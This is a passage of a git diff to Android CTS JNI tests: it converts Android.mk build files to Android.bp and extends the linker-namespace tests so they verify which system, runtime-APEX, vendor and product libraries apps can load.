-# limitations under the License.
-
-#
-# This is the shared library included by the JNI test app.
-#
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libjnicommon
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := common.cpp
-
-LOCAL_CFLAGS := -Wall -Werror
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SHARED_LIBRARIES := libdl liblog libnativehelper_compat_libc++
-
-LOCAL_SDK_VERSION := 23
-LOCAL_NDK_STL_VARIANT := c++_shared
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/jni/libjninamespacea1/Android.mk b/tests/tests/jni/libjninamespacea1/Android.mk
deleted file mode 100644
index 419db82..0000000
--- a/tests/tests/jni/libjninamespacea1/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# This is the shared library included by the JNI test app.
-#
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libjninamespacea1
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := namespacea1.cpp
-
-LOCAL_CFLAGS := -Wall -Werror
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) $(LOCAL_PATH)/../libjnicommon/
-
-LOCAL_LDLIBS += -llog
-LOCAL_SHARED_LIBRARIES := libdl liblog libnativehelper_compat_libc++ libjnicommon
-
-LOCAL_SDK_VERSION := 23
-LOCAL_NDK_STL_VARIANT := c++_shared
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/jni/libjninamespacea1/namespacea1.cpp b/tests/tests/jni/libjninamespacea1/namespacea1.cpp
index 8a79c3c..a1eddb1 100644
--- a/tests/tests/jni/libjninamespacea1/namespacea1.cpp
+++ b/tests/tests/jni/libjninamespacea1/namespacea1.cpp
@@ -18,7 +18,6 @@
 
 #include <android/log.h>
 #include <jni.h>
-#include <nativehelper/JNIHelp.h>
 
 #define  LOGI(...)  __android_log_print(ANDROID_LOG_INFO,"namespacea1",__VA_ARGS__)
 
diff --git a/tests/tests/jni/libjninamespacea2/Android.mk b/tests/tests/jni/libjninamespacea2/Android.mk
deleted file mode 100644
index 2781a81..0000000
--- a/tests/tests/jni/libjninamespacea2/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# This is the shared library included by the JNI test app.
-#
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libjninamespacea2
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := namespacea2.cpp
-
-LOCAL_CFLAGS := -Wall -Werror
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) $(LOCAL_PATH)/../libjnicommon/
-
-LOCAL_LDLIBS += -llog
-LOCAL_SHARED_LIBRARIES := libdl liblog libnativehelper_compat_libc++ libjnicommon
-
-LOCAL_SDK_VERSION := 23
-LOCAL_NDK_STL_VARIANT := c++_shared
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/jni/libjninamespacea2/namespacea2.cpp b/tests/tests/jni/libjninamespacea2/namespacea2.cpp
index 49f055e..0ac9695 100644
--- a/tests/tests/jni/libjninamespacea2/namespacea2.cpp
+++ b/tests/tests/jni/libjninamespacea2/namespacea2.cpp
@@ -18,7 +18,6 @@
 
 #include <android/log.h>
 #include <jni.h>
-#include <nativehelper/JNIHelp.h>
 
 #define  LOGI(...)  __android_log_print(ANDROID_LOG_INFO,"namespacea2",__VA_ARGS__)
 
diff --git a/tests/tests/jni/libjninamespaceb/Android.mk b/tests/tests/jni/libjninamespaceb/Android.mk
deleted file mode 100644
index e91ba59..0000000
--- a/tests/tests/jni/libjninamespaceb/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# This is the shared library included by the JNI test app.
-#
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libjninamespaceb
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := namespaceb.cpp
-
-LOCAL_CFLAGS := -Wall -Werror
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) $(LOCAL_PATH)/../libjnicommon/
-
-LOCAL_LDLIBS += -llog
-LOCAL_SHARED_LIBRARIES := libdl liblog libnativehelper_compat_libc++ libjnicommon
-
-LOCAL_SDK_VERSION := 23
-LOCAL_NDK_STL_VARIANT := c++_shared
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/jni/libjninamespaceb/namespaceb.cpp b/tests/tests/jni/libjninamespaceb/namespaceb.cpp
index 4c48627..e9ef300 100644
--- a/tests/tests/jni/libjninamespaceb/namespaceb.cpp
+++ b/tests/tests/jni/libjninamespaceb/namespaceb.cpp
@@ -18,7 +18,6 @@
 
 #include <android/log.h>
 #include <jni.h>
-#include <nativehelper/JNIHelp.h>
 
 #define  LOGI(...)  __android_log_print(ANDROID_LOG_INFO,"namespaceb",__VA_ARGS__)
 
diff --git a/tests/tests/jni/libjnitest/Android.bp b/tests/tests/jni/libjnitest/Android.bp
new file mode 100644
index 0000000..d7206c4
--- /dev/null
+++ b/tests/tests/jni/libjnitest/Android.bp
@@ -0,0 +1,60 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//
+// This is the shared library included by the JNI test app.
+//
+
+cc_test_library {
+    name: "libjnitest",
+    srcs: [
+        "android_jni_cts_BasicLoaderTest.cpp",
+        "android_jni_cts_InstanceNonce.c",
+        "android_jni_cts_JniCTest.c",
+        "android_jni_cts_JniCppTest.cpp",
+        "android_jni_cts_JniStaticTest.cpp",
+        "android_jni_cts_LinkerNamespacesTest.cpp",
+        "android_jni_cts_StaticNonce.c",
+        "helper.c",
+        "register.c",
+    ],
+    static_libs: ["libbase_ndk"],
+    shared_libs: [
+        "libdl",
+        "liblog",
+        "libnativehelper_compat_libc++",
+    ],
+    sdk_version: "current",
+    stl: "c++_static",
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+
+        "-Wno-format",
+        "-Wno-gnu-designator",
+    ],
+    gtest: false,
+}
+
+cc_test_library {
+    name: "libjni_test_dlclose",
+    srcs: ["taxicab_number.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    sdk_version: "23",
+    gtest: false,
+}
diff --git a/tests/tests/jni/libjnitest/Android.mk b/tests/tests/jni/libjnitest/Android.mk
deleted file mode 100644
index 351c7f9..0000000
--- a/tests/tests/jni/libjnitest/Android.mk
+++ /dev/null
@@ -1,65 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# This is the shared library included by the JNI test app.
-#
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libjnitest
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-	android_jni_cts_BasicLoaderTest.cpp \
-	android_jni_cts_InstanceNonce.c \
-	android_jni_cts_JniCTest.c \
-	android_jni_cts_JniCppTest.cpp \
-	android_jni_cts_JniStaticTest.cpp \
-	android_jni_cts_LinkerNamespacesTest.cpp \
-	android_jni_cts_StaticNonce.c \
-	helper.c \
-	register.c
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_STATIC_LIBRARIES := libbase_ndk
-
-LOCAL_SHARED_LIBRARIES := libdl liblog libnativehelper_compat_libc++
-
-LOCAL_SDK_VERSION := 23
-LOCAL_NDK_STL_VARIANT := c++_static
-
-LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
-LOCAL_CFLAGS += -Wno-format -Wno-gnu-designator
-
-include $(BUILD_SHARED_LIBRARY)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libjni_test_dlclose
-
-LOCAL_SRC_FILES := taxicab_number.cpp
-
-LOCAL_CFLAGS += -Wall -Werror
-
-LOCAL_SDK_VERSION := 23
-
-LOCAL_NDK_STL_VARIANT := c++_static
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
index cec2723..25f4b0e 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -29,45 +29,34 @@
 #include <unistd.h>
 
 #include <queue>
+#include <regex>
 #include <string>
 #include <unordered_set>
 #include <vector>
 
+#include <android-base/properties.h>
 #include <android-base/strings.h>
 #include <nativehelper/JNIHelp.h>
 #include <nativehelper/ScopedLocalRef.h>
 #include <nativehelper/ScopedUtfChars.h>
 
 #if defined(__LP64__)
-static const std::string kSystemLibraryPath = "/system/lib64";
-static const std::string kVendorLibraryPath = "/vendor/lib64";
-static const std::string kProductLibraryPath = "/product/lib64";
+#define LIB_DIR "lib64"
 #else
-static const std::string kSystemLibraryPath = "/system/lib";
-static const std::string kVendorLibraryPath = "/vendor/lib";
-static const std::string kProductLibraryPath = "/product/lib";
+#define LIB_DIR "lib"
 #endif
 
-// This is not the complete list - just a small subset
-// of the libraries that should reside in /system/lib
-// for app-compatibility reasons.
-// (in addition to kSystemPublicLibraries)
-static std::vector<std::string> kSystemLibraries = {
-    "libart.so",
-    "libandroid_runtime.so",
-    "libbinder.so",
-    "libcrypto.so",
-    "libcutils.so",
-    "libexpat.so",
-    "libgui.so",
-    "libmedia.so",
-    "libnativehelper.so",
-    "libstagefright.so",
-    "libsqlite.so",
-    "libui.so",
-    "libutils.so",
-    "libvorbisidec.so",
-  };
+static const std::string kSystemLibraryPath = "/system/" LIB_DIR;
+static const std::string kRuntimeApexLibraryPath = "/apex/com.android.runtime/" LIB_DIR;
+static const std::string kVendorLibraryPath = "/vendor/" LIB_DIR;
+static const std::string kProductLibraryPath = "/product/" LIB_DIR;
+
+static const std::vector<std::regex> kSystemPathRegexes = {
+    std::regex("/system/lib(64)?"),
+    std::regex("/apex/com\\.android\\.[^/]*/lib(64)?"),
+};
+
+static const std::string kWebViewPlatSupportLib = "libwebviewchromium_plat_support.so";
 
 static bool is_directory(const char* path) {
   struct stat sb;
@@ -103,44 +92,142 @@
   return library_search_paths.count(path.substr(0, path.size() - tail.size())) > 0;
 }
 
-static bool check_lib(const std::string& path,
+static std::string try_dlopen(const std::string& path) {
+  // try to load the lib using dlopen().
+  void *handle = dlopen(path.c_str(), RTLD_NOW);
+  std::string error;
+
+  bool loaded_in_native = handle != nullptr;
+  if (loaded_in_native) {
+    dlclose(handle);
+  } else {
+    error = dlerror();
+  }
+  return error;
+}
+
+// Tests if a file can be loaded or not. Returns empty string on success. On any failure
+// returns the error message from dlerror().
+static std::string load_library(JNIEnv* env, jclass clazz, const std::string& path,
+                                bool test_system_load_library) {
+  std::string error = try_dlopen(path);
+  bool loaded_in_native = error.empty();
+
+  if (android::base::EndsWith(path, '/' + kWebViewPlatSupportLib)) {
+    // Don't try to load this library from Java. Otherwise, the lib is initialized via
+    // JNI_OnLoad and it fails since WebView is not loaded in this test process.
+    return error;
+  }
+
+  // try to load the same lib using System.load() in Java to see if it gives consistent
+  // result with dlopen.
+  static jmethodID java_load =
+      env->GetStaticMethodID(clazz, "loadWithSystemLoad", "(Ljava/lang/String;)Ljava/lang/String;");
+  ScopedLocalRef<jstring> jpath(env, env->NewStringUTF(path.c_str()));
+  jstring java_load_errmsg = jstring(env->CallStaticObjectMethod(clazz, java_load, jpath.get()));
+  bool java_load_ok = env->GetStringLength(java_load_errmsg) == 0;
+
+  jstring java_load_lib_errmsg;
+  bool java_load_lib_ok = java_load_ok;
+  if (test_system_load_library && java_load_ok) {
+    // If System.load() works then test System.loadLibrary() too. Cannot test
+    // the other way around since System.loadLibrary() might very well find the
+    // library somewhere else and hence work when System.load() fails.
+    std::string baselib = basename(path.c_str());
+    ScopedLocalRef<jstring> jname(env, env->NewStringUTF(baselib.c_str()));
+    static jmethodID java_load_lib = env->GetStaticMethodID(
+        clazz, "loadWithSystemLoadLibrary", "(Ljava/lang/String;)Ljava/lang/String;");
+    java_load_lib_errmsg = jstring(env->CallStaticObjectMethod(clazz, java_load_lib, jname.get()));
+    java_load_lib_ok = env->GetStringLength(java_load_lib_errmsg) == 0;
+  }
+
+  if (loaded_in_native != java_load_ok || java_load_ok != java_load_lib_ok) {
+    const std::string java_load_error(ScopedUtfChars(env, java_load_errmsg).c_str());
+    error = "Inconsistent result for library \"" + path + "\": dlopen() " +
+            (loaded_in_native ? "succeeded" : "failed (" + error + ")") +
+            ", System.load() " +
+            (java_load_ok ? "succeeded" : "failed (" + java_load_error + ")");
+    if (test_system_load_library) {
+      const std::string java_load_lib_error(ScopedUtfChars(env, java_load_lib_errmsg).c_str());
+      error += ", System.loadLibrary() " +
+               (java_load_lib_ok ? "succeeded" : "failed (" + java_load_lib_error + ")");
+    }
+  }
+
+  if (loaded_in_native && java_load_ok) {
+    // Unload the shared lib loaded in Java. Since we don't have a method in Java for unloading a
+    // lib other than destroying the classloader, here comes a trick; we open the same library
+    // again with dlopen to get the handle for the lib and then calls dlclose twice (since we have
+    // opened the lib twice; once in Java, once in here). This works because dlopen returns the
+    // the same handle for the same shared lib object.
+    void* handle = dlopen(path.c_str(), RTLD_NOW);
+    dlclose(handle);
+    dlclose(handle); // don't delete this line. it's not a mistake (see comment above).
+  }
+
+  return error;
+}
+
+static bool check_lib(JNIEnv* env,
+                      jclass clazz,
+                      const std::string& path,
                       const std::unordered_set<std::string>& library_search_paths,
-                      const std::unordered_set<std::string>& libraries,
-                      std::vector<std::string>* errors) {
-  std::unique_ptr<void, decltype(&dlclose)> handle(dlopen(path.c_str(), RTLD_NOW), dlclose);
+                      const std::unordered_set<std::string>& public_library_basenames,
+                      bool test_system_load_library,
+                      bool check_absence,
+                      /*out*/ std::vector<std::string>* errors) {
+  std::string err = load_library(env, clazz, path, test_system_load_library);
+  bool loaded = err.empty();
 
   // The current restrictions on public libraries:
   //  - It must exist only in the top level directory of "library_search_paths".
   //  - No library with the same name can be found in a sub directory.
   //  - Each public library does not contain any directory components.
 
-  // Check if this library should be considered a public library.
   std::string baselib = basename(path.c_str());
-  if (libraries.find(baselib) != libraries.end() &&
-      is_library_on_path(library_search_paths, baselib, path)) {
-    if (handle.get() == nullptr) {
-      errors->push_back("The library \"" + path +
-                        "\" is a public library but it cannot be loaded: " + dlerror());
-      return false;
+  bool is_public = public_library_basenames.find(baselib) != public_library_basenames.end();
+  bool is_in_search_path = is_library_on_path(library_search_paths, baselib, path);
+
+  if (is_public) {
+    if (is_in_search_path) {
+      if (!loaded) {
+        errors->push_back("The library \"" + path +
+                          "\" is a public library but it cannot be loaded: " + err);
+        return false;
+      }
+    } else {  // !is_in_search_path
+      if (loaded) {
+        errors->push_back("The library \"" + path +
+                          "\" is a public library that was loaded from a subdirectory.");
+        return false;
+      }
     }
-  } else if (handle.get() != nullptr) {
-    errors->push_back("The library \"" + path + "\" is not a public library but it loaded.");
-    return false;
-  } else { // (handle == nullptr && !shouldBeAccessible(path))
-    // Check the error message
-    std::string err = dlerror();
-    if (!not_accessible(err) && !not_found(err) && !wrong_arch(path, err)) {
-      errors->push_back("unexpected dlerror: " + err);
+  } else {  // !is_public
+    // If the library loaded successfully but is in a subdirectory then it is
+    // still not public. That is the case e.g. for
+    // /apex/com.android.runtime/lib{,64}/bionic/lib*.so.
+    if (loaded && is_in_search_path && check_absence) {
+      errors->push_back("The library \"" + path + "\" is not a public library but it loaded.");
       return false;
     }
   }
+
+  if (!loaded && !not_accessible(err) && !not_found(err) && !wrong_arch(path, err)) {
+    errors->push_back("unexpected dlerror: " + err);
+    return false;
+  }
+
   return true;
 }
 
-static bool check_path(const std::string& library_path,
+static bool check_path(JNIEnv* env,
+                       jclass clazz,
+                       const std::string& library_path,
                        const std::unordered_set<std::string>& library_search_paths,
-                       const std::unordered_set<std::string>& libraries,
-                       std::vector<std::string>* errors) {
+                       const std::unordered_set<std::string>& public_library_basenames,
+                       bool test_system_load_library,
+                       bool check_absence,
+                       /*out*/ std::vector<std::string>* errors) {
   bool success = true;
   std::queue<std::string> dirs;
   dirs.push(library_path);
@@ -165,7 +252,8 @@
       std::string path = dir + "/" + dp->d_name;
       if (is_directory(path.c_str())) {
         dirs.push(path);
-      } else if (!check_lib(path, library_search_paths, libraries, errors)) {
+      } else if (!check_lib(env, clazz, path, library_search_paths, public_library_basenames,
+                            test_system_load_library, check_absence, errors)) {
         success = false;
       }
     }
@@ -228,8 +316,9 @@
 extern "C" JNIEXPORT jstring JNICALL
     Java_android_jni_cts_LinkerNamespacesHelper_runAccessibilityTestImpl(
         JNIEnv* env,
-        jclass clazz __attribute__((unused)),
+        jclass clazz,
         jobjectArray java_system_public_libraries,
+        jobjectArray java_runtime_public_libraries,
         jobjectArray java_vendor_public_libraries,
         jobjectArray java_product_public_libraries) {
   bool success = true;
@@ -256,6 +345,13 @@
     errors.push_back("Errors in product public library file:" + error_msg);
   }
 
+  std::unordered_set<std::string> runtime_public_libraries;
+  if (!jobject_array_to_set(env, java_runtime_public_libraries, &runtime_public_libraries,
+                            &error_msg)) {
+    success = false;
+    errors.push_back("Errors in runtime public library file:" + error_msg);
+  }
+
   // Check the system libraries.
 
   // Check current search path and add the rest of search path configured for
@@ -265,48 +361,57 @@
 
   std::vector<std::string> library_search_paths = android::base::Split(default_search_paths, ":");
 
-  // Remove everything pointing outside of /system/lib*
+  // Remove everything pointing outside of /system/lib* and
+  // /apex/com.android.*/lib*.
   std::unordered_set<std::string> system_library_search_paths;
 
   for (const auto& path : library_search_paths) {
-    if (android::base::StartsWith(path, "/system/lib")) {
-      system_library_search_paths.insert(path);
+    for (const auto& regex : kSystemPathRegexes) {
+      if (std::regex_match(path, regex)) {
+        system_library_search_paths.insert(path);
+        break;
+      }
     }
   }
 
-  // This path should be tested too - this is because apps may rely on some
-  // libraries being available in /system/${LIB}/
+  // These paths should be tested too - this is because apps may rely on some
+  // libraries being available there.
   system_library_search_paths.insert(kSystemLibraryPath);
+  system_library_search_paths.insert(kRuntimeApexLibraryPath);
 
-  if (!check_path(kSystemLibraryPath, system_library_search_paths, system_public_libraries, &errors)) {
+  if (!check_path(env, clazz, kSystemLibraryPath, system_library_search_paths,
+                  system_public_libraries,
+                  /*test_system_load_library=*/false, /*check_absence=*/true, &errors)) {
     success = false;
   }
 
-  // Check that the mandatory system libraries are present - the grey list
-  for (const auto& name : kSystemLibraries) {
-    std::string library = kSystemLibraryPath + "/" + name;
-    void* handle = dlopen(library.c_str(), RTLD_NOW);
-    if (handle == nullptr) {
-      std::string err = dlerror();
-      // The libraries should be present and produce specific dlerror when inaccessible.
-      if (!not_accessible(err)) {
-          errors.push_back("Mandatory system library \"" + library + "\" failed to load with unexpected error: " + err);
-          success = false;
-      }
-    } else {
-      dlclose(handle);
-    }
+  // Pre-Treble devices use ld.config.vndk_lite.txt, where the default namespace
+  // isn't isolated. That means it can successfully load libraries in /apex, so
+  // don't complain about that in that case.
+  bool check_absence = !android::base::GetBoolProperty("ro.vndk.lite", false);
+
+  // Check the runtime libraries.
+  if (!check_path(env, clazz, kRuntimeApexLibraryPath, {kRuntimeApexLibraryPath},
+                  runtime_public_libraries,
+                  // System.loadLibrary("icuuc") would fail since a copy exists in /system.
+                  // TODO(b/124218500): Change to true when the bug is resolved.
+                  /*test_system_load_library=*/true,
+                  check_absence, &errors)) {
+    success = false;
   }
 
   // Check the product libraries, if /product/lib exists.
   if (is_directory(kProductLibraryPath.c_str())) {
-    if (!check_path(kProductLibraryPath, { kProductLibraryPath }, product_public_libraries, &errors)) {
+    if (!check_path(env, clazz, kProductLibraryPath, {kProductLibraryPath},
+                    product_public_libraries,
+                    /*test_system_load_library=*/false, /*check_absence=*/true, &errors)) {
       success = false;
     }
   }
 
   // Check the vendor libraries.
-  if (!check_path(kVendorLibraryPath, { kVendorLibraryPath }, vendor_public_libraries, &errors)) {
+  if (!check_path(env, clazz, kVendorLibraryPath, {kVendorLibraryPath}, vendor_public_libraries,
+                  /*test_system_load_library=*/false, /*check_absence=*/true, &errors)) {
     success = false;
   }
 
@@ -321,3 +426,15 @@
   return nullptr;
 }
 
+extern "C" JNIEXPORT jstring JNICALL Java_android_jni_cts_LinkerNamespacesHelper_tryDlopen(
+        JNIEnv* env,
+        jclass clazz,
+        jstring lib) {
+    ScopedUtfChars soname(env, lib);
+    std::string error_str = try_dlopen(soname.c_str());
+
+    if (!error_str.empty()) {
+      return env->NewStringUTF(error_str.c_str());
+    }
+    return nullptr;
+}
diff --git a/tests/tests/jni/src/android/jni/cts/JniStaticTest.java b/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
index b122457..4742796 100644
--- a/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
+++ b/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
@@ -16,6 +16,8 @@
 
 package android.jni.cts;
 
+import android.os.Process;
+import java.io.File;
 import java.io.IOException;
 
 /**
@@ -310,4 +312,36 @@
                         40, 41, 42, 43, 44, 45, 46, 47, 48, 49,
                         50));
     }
+
+    /**
+     * dlopen(3) any of the public lib via file name (non-absolute path) should succeed.
+     */
+    public void test_dlopenPublicLibraries() {
+        String error = LinkerNamespacesHelper.runDlopenPublicLibraries();
+        if (error != null) {
+            fail(error);
+        }
+    }
+
+    /**
+     * If ICU4C native libraries, i.e. libicuuc.so and libicui18n.so, have been moved into APEX,
+     * app with targetSdkVersion < Q can still dlopen the /system/{LIB}/libicuuc.so even though
+     * the file does not exist in the file system. It's done by a redirect in linker.
+     * http://b/121248172
+     *
+     * This test ensures that dlopen fail with a target version SDK of Q or above.
+     */
+    public void test_dlopenIcu4cInSystemShouldFail() {
+        File systemBaseDir = new File("/system/lib" + (Process.is64Bit() ? "64" : ""));
+        String[] libs = new String[] { "libicuuc.so", "libicui18n.so"};
+
+        for (String lib : libs) {
+            File f = new File(systemBaseDir, lib);
+            assertFalse("The same native library should exist in the Runtime APEX."
+                + " It should not exist in /system: " + f , f.exists());
+            String error = LinkerNamespacesHelper.tryDlopen(f.toString());
+            assertNotNull("The native library file does not exist in the file system, "
+                + "but dlopen(" + f + ", RTLD_NOW) succeeds.", error);
+        }
+    }
 }
diff --git a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
index 2492b48..ae6c09a 100644
--- a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
+++ b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
@@ -30,6 +30,7 @@
 import java.io.FilenameFilter;
 import java.io.IOException;
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.Collections;
 import java.util.HashSet;
 import java.util.List;
@@ -44,9 +45,11 @@
     private final static Pattern EXTENSION_CONFIG_FILE_PATTERN = Pattern.compile(
             "public\\.libraries-([A-Za-z0-9\\-_.]+)\\.txt");
     private final static String VENDOR_CONFIG_FILE = "/vendor/etc/public.libraries.txt";
+    private final static String RUNTIME_APEX_DIR = "/apex/com.android.runtime";
     private final static String[] PUBLIC_SYSTEM_LIBRARIES = {
         "libaaudio.so",
         "libandroid.so",
+        "libbinder_ndk.so",
         "libc.so",
         "libcamera2ndk.so",
         "libdl.so",
@@ -54,8 +57,6 @@
         "libGLESv1_CM.so",
         "libGLESv2.so",
         "libGLESv3.so",
-        "libicui18n.so",
-        "libicuuc.so",
         "libjnigraphics.so",
         "liblog.so",
         "libmediandk.so",
@@ -70,6 +71,13 @@
         "libvulkan.so",
         "libz.so"
     };
+
+    // Libraries listed in public.libraries.android.txt, located in RUNTIME_APEX_DIR path
+    private final static String[] PUBLIC_RUNTIME_LIBRARIES = {
+        "libicui18n.so",
+        "libicuuc.so",
+    };
+
     // The grey-list.
     private final static String[] PRIVATE_SYSTEM_LIBRARIES = {
         "libandroid_runtime.so",
@@ -145,6 +153,7 @@
 
     public static String runAccessibilityTest() throws IOException {
         List<String> systemLibs = new ArrayList<>();
+        List<String> runtimeApexLibs = new ArrayList<>();
 
         Collections.addAll(systemLibs, PUBLIC_SYSTEM_LIBRARIES);
 
@@ -153,6 +162,8 @@
             systemLibs.add(WEBVIEW_PLAT_SUPPORT_LIB);
         }
 
+        Collections.addAll(runtimeApexLibs, PUBLIC_RUNTIME_LIBRARIES);
+
         // Check if public.libraries.txt contains libs other than the
         // public system libs (NDK libs).
 
@@ -185,11 +196,13 @@
         }
 
         return runAccessibilityTestImpl(systemLibs.toArray(new String[systemLibs.size()]),
+                                        runtimeApexLibs.toArray(new String[runtimeApexLibs.size()]),
                                         vendorLibs.toArray(new String[vendorLibs.size()]),
                                         productLibs.toArray(new String[productLibs.size()]));
     }
 
     private static native String runAccessibilityTestImpl(String[] publicSystemLibs,
+                                                          String[] publicRuntimeLibs,
                                                           String[] publicVendorLibs,
                                                           String[] publicProductLibs);
 
@@ -225,6 +238,41 @@
         return nativePath;
     }
 
+    private static boolean isAlreadyOpenedError(UnsatisfiedLinkError e, String libFilePath) {
+        // If one of the public system libraries are already opened in the bootclassloader, consider
+        // this try as success, because dlopen to the lib is successful.
+        String baseName = new File(libFilePath).getName();
+        return e.getMessage().contains("Shared library \"" + libFilePath +
+            "\" already opened by ClassLoader") &&
+            Arrays.asList(PUBLIC_SYSTEM_LIBRARIES).contains(baseName);
+    }
+
+    private static String loadWithSystemLoad(String libFilePath) {
+        try {
+            System.load(libFilePath);
+        } catch (UnsatisfiedLinkError e) {
+            // all other exceptions are just thrown
+            if (!isAlreadyOpenedError(e, libFilePath)) {
+                return "System.load() UnsatisfiedLinkError: " + e.getMessage();
+            }
+        }
+        return "";
+    }
+
+    private static String loadWithSystemLoadLibrary(String libFileName) {
+        // Drop 'lib' and '.so' from the base name
+        String libName = libFileName.substring(3, libFileName.length()-3);
+        try {
+            System.loadLibrary(libName);
+        } catch (UnsatisfiedLinkError e) {
+            if (!isAlreadyOpenedError(e, libFileName)) {
+                return "System.loadLibrary(\"" + libName + "\") UnsatisfiedLinkError: " +
+                    e.getMessage();
+            }
+        }
+        return "";
+    }
+
     // Verify the behaviour of native library loading in class loaders.
     // In this test:
     //    - libjninamespacea1, libjninamespacea2 and libjninamespaceb depend on libjnicommon
@@ -300,6 +348,34 @@
         // On success we return null.
         return null;
     }
+
+    public static String runDlopenPublicLibraries() {
+        String error;
+        try {
+            List<String> publicLibs = new ArrayList<>();
+            Collections.addAll(publicLibs, PUBLIC_SYSTEM_LIBRARIES);
+            Collections.addAll(publicLibs, PUBLIC_RUNTIME_LIBRARIES);
+            error = readExtensionConfigFiles(PUBLIC_CONFIG_DIR, publicLibs);
+            if (error != null) return error;
+            error = readExtensionConfigFiles(PRODUCT_CONFIG_DIR, publicLibs);
+            if (error != null) return error;
+            publicLibs.addAll(readPublicLibrariesFile(new File(VENDOR_CONFIG_FILE)));
+            for (String lib : publicLibs) {
+                String result = LinkerNamespacesHelper.tryDlopen(lib);
+                if (result != null) {
+                    if (error == null) {
+                        error = "";
+                    }
+                    error += result + "\n";
+                }
+            }
+        } catch (IOException e) {
+            return e.toString();
+        }
+        return error;
+    }
+
+    public static native String tryDlopen(String lib);
 }
 
 class ClassNamespaceA1 {
